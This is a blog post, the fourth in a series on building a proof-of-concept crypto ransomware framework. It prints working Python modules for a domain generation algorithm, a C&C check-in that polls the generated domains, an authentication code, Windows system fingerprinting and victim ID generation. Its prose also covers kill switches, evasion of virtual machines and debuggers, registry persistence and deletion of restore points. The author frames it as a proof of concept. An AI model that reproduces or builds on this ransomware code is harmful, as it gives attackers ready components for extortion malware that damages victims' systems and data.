Creating a POC Crypto Ransomware Framework – 4

Warning: Please read the Site Disclaimer before proceeding.

This post is the fourth part of the series Creating a POC Crypto Ransomware Framework. In the previous section, how I designed and developed a C&C Server and a Victim Manager for the proof of concept. In this post, I will discuss the immediate processes and control conditions that are triggered after a system is infected with malware.

Initialisation

When a crypto ransomware infects a system using any method discussed in Creating a POC Crypto Ransomware Framework – 2, there are certain conditions that are checked for the further execution of the malware. These conditions are triggered before a proper communication is established between C&C Server and infected system. In my case, before a public key is requested by the malware.

 

Kill Switch

Usually, this is found to be a common function in most of the notorious ransomware, wherein a certain logical condition if satisfied terminates the execution of malware. For example, the registration of a domain was considered a kill switch in the case of WannaCry ransomware. In another instance, Locky variant did not infect Russian locale systems.  These conditions can be a tweet in Twitter, message posted in Pastebin or a command from C&C Server. These conditions can also instruct the malware to delete itself from the system.

One has to understand that the longer the ransomware campaign exists, the more victims are extorted by attackers. In order to achieve higher monetary benefits, the attackers use certain methods to evade malware detection engines and also malware researchers. The malware execution is avoided in malware research environment by checking process list, system parameters for the presence of Virtual Machine Services (eg: Vmware Addon Tools), debugging tools (eg: IDA, Immunity Debugger).

Persistence

When the ransomware infects the system, it tries to create autorun entry in registry. It also creates necessary files for the proper execution of the ransomware. It also deletes the ‘restore points’ stored in the systems.

DGA

Domain Generation Algorithm (DGA), is a method which provides a set of domains to malware on demand, usually after a predefined time. This is used to avoid domain-based filtering by firewalls during a ransomware campaign. I will explain, DGA using my module ‘generate_dga.py’ coded in ransomware in Python, hosted at https://github.com/pr454nn4kum4r/pkw4r3/

import datetime
import calendar


def generate_dga():
    today_date = datetime.date.today();

    seven_kingdoms = {
        'Monday': 'kingdom_of_the_north_house_stark',
        'Tuesday': 'kingdom_of_the_mountain_and_the_vale_house_arynn',
        'Wednesday': 'kingdom_of_the_isles_and_rivers_house_hoare',
        'Thursday': 'kingdom_of_the_rock_house_lannister',
        'Friday': 'kingdom_of_the_stormlands_house_durrandon',
        'Saturday': 'kingdom_of_the_reach_house_highgarden',
        'Sunday': 'principality_of_the_dorne'

    }

    tlds = ['.northlab', '.valelab', '.isleslab', '.rocklab', '.stormlab', '.reachlab', '.dornelab'];
    chosen_tld = tlds[today_date.day % 7]
    today_day = calendar.day_name[today_date.weekday()]

    def caesar(plainText, shift):
        cipherText = ""
        for ch in plainText:
            if ch.isalpha():
                stayInAlphabet = ord(ch) + shift
                if stayInAlphabet > ord('z'):
                    stayInAlphabet -= 26
                finalLetter = chr(stayInAlphabet)
                cipherText += finalLetter

        return cipherText

    s = "".join(x for x in seven_kingdoms[today_day].split("_"))

    ds = []
    for i in range(0, 26):
        ds.append(caesar(s, i) + hex((today_date - datetime.date(2011, 4, 17)).days)[2:] + chosen_tld);
    return ds

DGA has three parts:

  • Seed
  • Lexicon
  • TLD

Seed is a reference through which domains generated using DGA are in sync with C&C Server. Lexicon is the actual domain and TLD is the suffix part of FQDN. For example, every day my module generates 26 domains out of which one domain connects to actual C&C Server. In real life, only a few of the generated domains (may be in hundreds or thousands) actually point to C&C servers. My DGA works as follows:

  • A TLD is chosen from ‘tlds’ based on the day in a week
  • Based on the day, a ‘kingdom’ is chosen from ‘seven_kingdoms’ (seed) for the lexicon
  • ‘kingdom’ is used to generate 26 domains using Caesar cipher to shift one position in iteration
  • Further the difference of days between the present date and chosen date is appended at last for the lexicon part.

check_dga.py

import generate_dga
import urllib2
domains = generate_dga.generate_dga()

def check_dga():
    for i in range(len(domains)):
        try:
            response = urllib2.urlopen("http://"+domains[i]+"/ransomware/c2c/control.php");
            if "The_great_war_is_coming" in response.read():
                return domains[i]
        except:
            continue

This module checks for correct domain out of the generated domains that point to C&C Server, by sending a request to control.php as defined in Creating a POC Crypto Ransomware Framework – 3

Authentication Code

As defined in  Creating a POC Crypto Ransomware Framework – 3, authentication code is used to tell the C&C Server that the request is from a genuinely infected system. The authentication code is coded in authcode.py

import random
import string

#Function to create auth_code:
def create_authcode():
    #creating a random string
    auth_string = list(''.join(random.choice(string.letters+string.digits) for x in range(random.randint(25,55))))

    #calculating positions where characters are changed as per authentication algorithm
    auth_string_length = len(auth_string)
    auth_change_pos_1 = auth_string_length/2
    auth_change_pos_2 = auth_string_length/4

    #substituting the character
    rand_int_pos1 = random.randint(2, 19)*5
    rand_int_pos2 = random.randint(4, 25)*3

    auth_string[auth_change_pos_1] = str(rand_int_pos1)[0]
    auth_string[auth_change_pos_1+1] = str(rand_int_pos1)[1]

    auth_string[auth_change_pos_2] = str(rand_int_pos2)[0]
    auth_string[auth_change_pos_2+1] = str(rand_int_pos2)[1]

    auth_code = "".join(auth_string)

    return auth_code

The authentication code is created as follows:

  • Create a random string of length 25-55 characters
  • Replace the characters positioned at half of the length of the string to a number divisible by 5
  • Replace the characters positioned at one-fourth the length of the string to a number divisible by 3

Fingerprinting System

Fingerprinting the system is to identify the unique parameters of the system so that it can be easily identified. The fingerprinting using the module fingerprint.py. The module uses Windows System commands such as systeminfo, wmic.

#Sysinfo function credits https://stackoverflow.com/a/1996085
import os,re

def get_fingerprint():
    values = {};

    def SysInfo():
        cache = os.popen2("SYSTEMINFO")
        source = cache[1].read()
        sysOpts = ["Host Name", "OS Name", "OS Version", "Product ID", "System Manufacturer", "System Model", "BIOS Version"]
        for opt in sysOpts:
            values[opt] = [item.strip() for item in re.findall("%s:\w*(.*?)\n" % (opt), source, re.IGNORECASE)][0]

    def get_uuid():
        values['UUID'] = os.popen2("wmic csproduct get UUID")[1].read().split("\n")[1].strip();

    def get_sys_env():
        values['username'] = os.getenv('username');
        values['computername'] = os.getenv('COMPUTERNAME');

    def get_hdd_id():
        source  = os.popen2("wmic diskdrive get SerialNumber")[1].read().split("\n")
        values['hdd_id'] = "_".join(x.strip() for x in source[:-2])

    def get_cpu_id():
        source =os.popen2("wmic cpu get ProcessorID")[1].read().split("\n")
        values['cpu_id']= "_".join(x.strip() for x in source[:-2]);

#intialise whatever parameters u need
    SysInfo();
    get_uuid();
    get_sys_env();
    get_hdd_id();
    get_cpu_id();
    return values

The module retrieves parameters such as hostname, username, OS version, Product ID using ‘Sysinfo’ function. Other parameters which are almost unique to a system such as Motherboard UUID, Environment Variables, HDD Serial ID, CPU ID are retrieved using respective functions. These unique values are used to generate a crypto ransomware ID.

Crypto Ransomware ID generation

An identifier for the infected system is generated and is used to manage victims in Victim Manager in C&C Server as defined in  Creating a POC Crypto Ransomware Framework – 3

id_gen.py module shows how the ID is generated

import hashlib
from fingerprint import *

def get_ransomware_id():
    values = get_fingerprint();

    # taking only params that are considered to be unique
    ransomware_id_string = values["Product ID"] + values["UUID"] + values["hdd_id"] + values["cpu_id"]

    hash_object = hashlib.sha256(ransomware_id_string.encode('ascii'));
    ransomware_id = hash_object.hexdigest();
    return ransomware_id;

SHAsum of a string created using Product ID, UUID, HDD ID, CPU ID from the fingerprinting module gives the Crypto Ransomware ID.

This post discussed various processes that are involved before a public key is requested from C&C Server. The next post discusses how encryption is designed and how proof of concept works.

Creating a POC Crypto Ransomware – 5

 

One thought on “Creating a POC Crypto Ransomware Framework – 4

  1. Hi, i read your blog from time to time and i own a similar one and i was just curious if you get a lot of spam feedback? If so how do you stop it, any plugin or anything you can suggest? I get so much lately it’s driving me crazy so any help is very much appreciated.

Leave a Reply

Your email address will not be published. Required fields are marked *